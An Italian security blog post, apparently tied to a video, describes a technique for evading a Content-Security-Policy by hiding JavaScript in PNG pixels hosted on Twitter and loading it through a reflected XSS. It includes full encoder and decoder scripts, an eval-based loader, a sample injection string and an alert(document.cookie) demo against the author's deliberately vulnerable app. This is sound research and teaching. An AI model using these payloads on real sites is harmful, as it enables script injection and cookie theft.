JavaScript in PNG per "bypass" Content-Security-Policy

Ho pubblicato un articolo su secjuice in cui descrivo una tecnica per eludere le restrizioni introdotte dal Content-Security-Policy di un sito, importando librerie JavaScript esterne sfruttando una vulnerabilità XSS. In questo video vi spiego come.

TL;DR Tramite HTML Canvas è possibile nascondere codice JavaScript (o un'intera libreria) in un'immagine PNG convertendo ogni carattere di cui è composto il codice JavaScript in un pixel. Fatto ciò, l'immagine ricavata può essere pubblicata in una sorgente "trusted" come Twitter o Google (solitamente in whitelist nei CSP di molti siti) e caricata remotamente sfruttando un HTML Injection/XSS. Infine, usando il metodo getImageData è possibile "estrarre" dall'immagine il codice JavaScript precedentemente nascosto ed eseguirlo. A volte questo può portare a eludere il CSP permettendo a un attacker di includere librerie JavaScript esterne.

Non è un bypass.

Spesso, quando mi ritrovo a pubblicare un articolo in cui dimosto l'inefficacia di una policy (contestualizzata in un preciso e specifico caso), o di un processo di input sanitizzation o di un filtro, sono diverse le obiezioni/critiche che ricevo. Alcune di esse sono realmente utili e costruttive, altre invece sono sempre uguali e, come in questo caso, si possono riassumere in: "non è un bypass".

Per rispondere in un'unica battuta, vorrei che mi seguiste nel seguente ragionamento: uno degli aspetti della policy CSP che vedremo è che impedisce al browser dell'utente di caricare JavaScript da sorgenti esterne. Il fatto che sia presente la direttiva "unsafe-inline" permette (in presenza di injection) di eseguire codice JavaScript senza doverlo prendere dall'esterno ma tutto ciò è limitato alla lunghezza consentita della querystring (lo so che per un penetration tester l'obiettivo è quello di eseguire "alert(1)" ma nel mondo reale la quantità di JavaScript da caricare è maggiore).

Concludendo: nel caso che vedremo il CSP tenta di evitare che gli utenti carichino JavaScript da sorgenti esterne? Sì. Questo metodo permette di eludere questa restrizione caricando JavaScript da sorgenti esterne? Sì. Se non vogliamo chiamarlo bypass, attendo consigli per un aggettivo più consono.

Perchè non devi usare unsafe-inline?

Se non sai cos'è e come funziona il Content-Security-Policy, ti consiglio di guardare la prima puntata della serie "Security Headers" pubblicata sul canale YouTube di Rev3rse Security.

Content-Security-Policy è sempre più utilizzato grazie alla sua efficacia nel neutralizzare attacchi XSS, clickjacking e altri basati sul code injection. Nonostante ciò, molti website tendono a configurare policy "deboli" o troppo permissive per evitare falsi positivi. A volte mettendo in whitelist interi domini oppure utilizzando direttive come "unsafe-inline" e "unsafe-eval" che, in casi come questo, possono portare a un bypass.

Nascondere testo in un'immagine PNG

Questo è un esempio che puoi copiare e incollare nella console JavaScript del tuo browser per generare un'immagine partendo dalla stringa di testo "Hello, World!". Apri un nuovo tab e visita about:blank. Ora apri la console JavaScript e incolla quanto segue:

(function() {
    function encode(a) {
        if (a.length) {
            var c = a.length,
                e = Math.ceil(Math.sqrt(c / 3)),
                f = e,
                g = document.createElement("canvas"),
                h = g.getContext("2d");
            g.width = e, g.height = f;
            var j = h.getImageData(0, 0, e, f),
                k = j.data,
                l = 0;
            for (var m = 0; m < f; m++)
                for (var n = 0; n < e; n++) {
                    var o = 4 * (m * e) + 4 * n,
                        p = a[l++],
                        q = a[l++],
                        r = a[l++];
                    (p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
                }
            return h.putImageData(j, 0, 0), h.canvas.toDataURL()
        }
    }
    var ord = function ord(a) {
        var c = a + "",
            e = c.charCodeAt(0);
        if (55296 <= e && 56319 >= e) {
            if (1 === c.length) return e;
            var f = c.charCodeAt(1);
            return 1024 * (e - 55296) + (f - 56320) + 65536
        }
        return 56320 <= e && 57343 >= e ? e : e
    },
    d = document,
    b = d.body,
    img = new Image;
    var stringenc = "Hello, World!";
    img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();

Questo script crea un'immagine usando il metodo putImageData rappresentando gruppi di 3 caratteri della stringa "Hello, World!" in ogni singolo pixel. Ogni carattere viene convertito in un numero con la funzione charCodeAt e utilizzato come livello di rosso, verde e blu (RGB). Ogni pixel rappresentato da putImageData infatti, non è altro che una sequenza di 4 valori: RGB + alpha (che nel nostro esempio sarà sempre 255).

Con questa slide cerco di spiegare meglio come i caratteri di una stringa vengano convertiti e distribuiti nei pixel di un'immagine:

Ora che abbiamo creato l'immagine PNG sul nostro browser, utilizziamo la stessa console JavaScript per convertire tale immagine nella sua stringa di origine con il seguente script:

t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML=a;

Questo script usa il metodo getImageData per estrarre dall'immagine i valori di RGBA (che abbiamo descritto prima) in un array. Infatti ciò che otteniamo eseguendo questo metodo è un array enorme contenente la successione di valori r,g,b,a per ogni pixel.

Web Application vulnerabile a XSS

Ora sappiamo come convertire una stringa di testo in un'immagine PNG, e come riportare l'immagine al testo originale. Mettiamo caso che, invece di una semplice stringa di testo, convertissimo del codice JavaScript o un'intera libreria e che pubblicassimo questa immagine su Twitter. Un sito vulnerabile a XSS che ha in whitelist Twitter sul proprio CSP, potrebbe subire un bypass delle policy del CSP se questo non è configurato correttamente. Ora vi dimostro come.

Ho creato un'applicazione web volutamente vulnerabile a XSS. L'applicazione usa il CSP per scongiurare il caricamento di script JavaScript esterni.

Come si evince dai due screenshot sopra, l'applicazione ha configurato il CSP per permettere il caricamento di immagini (img-src) da se stesso (self) e da Twitter (https://pbs.twimg.com), e di script JavaScript (script-src) solo da "self", "unsafe-inline" e "unsafe-eval".

Se state pensando che questa sia una configurazione rarissima e che nessun sito in produzione utilizzi le direttive "unsafe-inline" e "unsafe-eval", vi sbagliate di grosso. Da un recente crawling di Alexa Top 1m (i cui dati renderò presto pubblici) è emerso che più di 5000 siti utilizzino direttive "unsafe" su script-src e default-src:

La vulnerabilità risiede sul argument lang della querystring che non viene sanitizzato e può portare a HTML injection e reflected XSS. Per sfruttare questa vulnerabilità è sufficiente interrompere la sintassi HTML dell'attributo src del tag IMG con un "> e aggiungere un nuovo TAG script, esempio:
?lang="><script>alert(1)</script>.

Ora voglio includere la libreria JavaScript esterna da example.com/evil.js sfruttando questo reflected XSS:

Come si può vedere dallo screenshot precedente, la configurazione del CSP non mi permette di caricare script JavaScript esterni che non provengano dal sito stesso: "Refused to load the script http://example.com/evil.js because it violates the following Content Security Policy directive: "script-src ...". Ora proviamo a bypassare questa policy.

Caricamento dell'immagine PNG/JS da Twitter

Dopo aver fatto qualche test, ho scoperto che Twitter non permette il caricamento (o la visualizzazione) di immagini troppo piccole, ed effettivamente non si può dire che la nostra immagine di 6 pixel sia abbastanza grande. Quindi ho aggiunto un lungo commento al codice JavaScript per generare un'immagine più grande:

(function() {
    function encode(a) {
        if (a.length) {
            var c = a.length,
                e = Math.ceil(Math.sqrt(c / 3)),
                f = e,
                g = document.createElement("canvas"),
                h = g.getContext("2d");
            g.width = e, g.height = f;
            var j = h.getImageData(0, 0, e, f),
                k = j.data,
                l = 0;
            for (var m = 0; m < f; m++)
                for (var n = 0; n < e; n++) {
                    var o = 4 * (m * e) + 4 * n,
                        p = a[l++],
                        q = a[l++],
                        r = a[l++];
                    (p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
                }
            return h.putImageData(j, 0, 0), h.canvas.toDataURL()
        }
    }
    var ord = function ord(a) {
        var c = a + "",
            e = c.charCodeAt(0);
        if (55296 <= e && 56319 >= e) {
            if (1 === c.length) return e;
            var f = c.charCodeAt(1);
            return 1024 * (e - 55296) + (f - 56320) + 65536
        }
        return 56320 <= e && 57343 >= e ? e : e
    },
    d = document,
    b = d.body,
    img = new Image;
    var stringenc = "function asd() {\
        var d = document;\
        var c = 'cookie';\
        alert(d[c]);\
    };asd();/*Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam aliquam blandit metus vel elementum. Mauris mi tortor, congue eget fringilla id, tempus a tellus. Morbi laoreet vitae ipsum vel dapibus. Nunc eu faucibus ligula. Donec maximus malesuada justo. Nulla congue, risus quis dapibus porttitor, metus quam rutrum dolor, ac maximus nibh metus quis enim. Aenean hendrerit venenatis massa ac gravida. Donec at nisi quis ex sollicitudin bibendum sit amet ac quam.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Vestibulum tincidunt diam vel diam semper posuere. Nulla facilisi. Curabitur a facilisis lorem, eu porta leo. Sed pharetra eros et malesuada mattis. Donec tincidunt elementum mauris quis commodo. Donec nec vulputate nulla. Nunc luctus orci lacinia nunc sodales, vitae cursus quam tempor. Cras ullamcorper ullamcorper urna vitae pulvinar. Curabitur ac pretium felis. Vivamus vel scelerisque nisi. Pellentesque lacinia consequat nibh, vitae rhoncus tellus faucibus eget. Ut pulvinar est non tellus tristique sodales. Aenean eget velit non turpis tristique pretium id eu dolor. Nulla sed eros quis urna facilisis scelerisque. Nam orci neque, finibus eget odio et, elementum finibus erat.*/";
    img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();

A questo punto l'ho caricata in un tweet, e ha funzionato :)

Questa immagine è stata creata convertendo un semplice alert(document.cookie). Ora proviamo ad includerla nell'applicazione vulnerabile e ad eseguire il codice in essa contenuto.

Bypass del Content-Security-Policy

Come detto precedentemente, per fare l'exploit della vulnerabilità XSS sul parametro lang, devo chiudere l'attributo src del tag IMG. Invece di aprire un nuovo tag SCRIPT voglio, in primis, includere l'immagine dal tweet che ho postato (dato che il CSP configurato mette in whitelist twimg.com) e poi iniettare l'attributo onload per estrarre il codice JavaScript dall'immagine ed eseguirlo. Per includere l'immagine da twitter posso semplicemente iniettare il seguente payload:

La parte in rosso, è l'URL (encoded) dell'immagine pubblicata su Twitter. La parte in blu è un id che ho assegnato al tag IMG per facilitare la fase di select dell'elemento via JavaScript e, infine, la parte in verde è un tag A che ho inserito per evitare di rompere la sintassi HTML. Ora devo iniettare l'attributo onload ed eseguire poche righe di JavaScript che mi permetteranno di estrarre qualsiasi cosa sia nascosta nell'immagine da Twitter ed eseguirla. Quindi faccio l'encode in base64 del seguente script:

t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)

Una volta fatto l'encode in base64, posso usare la funzione atob per decodificarlo e la funzione eval per eseguire ciò che contiene:

Il payload completo diventa come segue:

Per far sì che tutto funzioni correttamente ho bisogno di iniettare un ulteriore attributo: crossorigin con valore anonymous. Leggendo la documentazione, infatti, ho scoperto che quando estraggo informazioni tramite il metodo getImageData da un'immagine caricata esternamente (nel nostro caso da Twitter) il mio browser la "corrompe" o "contamina" per prevenire appunto situazioni come queste... Il fatto è che se la destinazione invia il response header Access-Control-Allow-Origin: * basterà impostare l'attributo crossorigin per far sì che ciò non accada. Fortunatamente Twitter aggiunge ad ogni richiesta di immagine caricata su un Tweet il response header Access-Control-Allow-Origin: * 😎

Modificando il payload in questo modo, tutto ha funzionato correttamente:

Video

References:

• https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/